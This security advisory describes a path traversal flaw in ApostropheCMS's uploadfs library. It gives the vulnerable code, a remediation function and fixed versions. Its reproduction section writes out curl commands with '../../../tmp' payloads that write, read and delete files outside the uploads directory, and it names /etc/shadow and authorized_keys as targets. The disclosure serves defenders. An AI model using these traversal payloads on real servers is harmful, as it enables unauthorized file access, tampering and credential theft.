ApostropheCMS: Path traversal in uploadfs
What fixes it
- 1.28.0uploadfs, npmGitHub
npm install uploadfs@1.28.0
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
---
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txtโ/tmp/pwned.txt.
---
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt [READ] Status: 200| Body: You have been pwned! [+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction
# Write outside uploads directory curl -X POST http://localhost:3000/upload \ -F "path=../../../tmp/backdoor.txt" \ -F "file=@-;filename=backdoor.txt" <<< "malicious content" # Read it back curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt" # Delete it curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
---
Impact
| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files โ Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files โ Denial of Service |
---
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}Text from GitHub Advisory Database
Affected versions 4
- uploadfs, npm< 1.28.0GitHub
- apostropheaffected: < 4.33.0CVE List
- uploadfsaffected: < 1.28.0CVE List
- uploadfs, npmfrom first release, fixed in 1.28.0OSV
References 5
- github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ceFixvia CVE List
- github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350Fixvia CVE List
- github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0Fixvia CVE List
- github.com/advisories/GHSA-gmfx-5g6x-rr72Advisoryvia GitHub
- github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72Exploitvia CVE List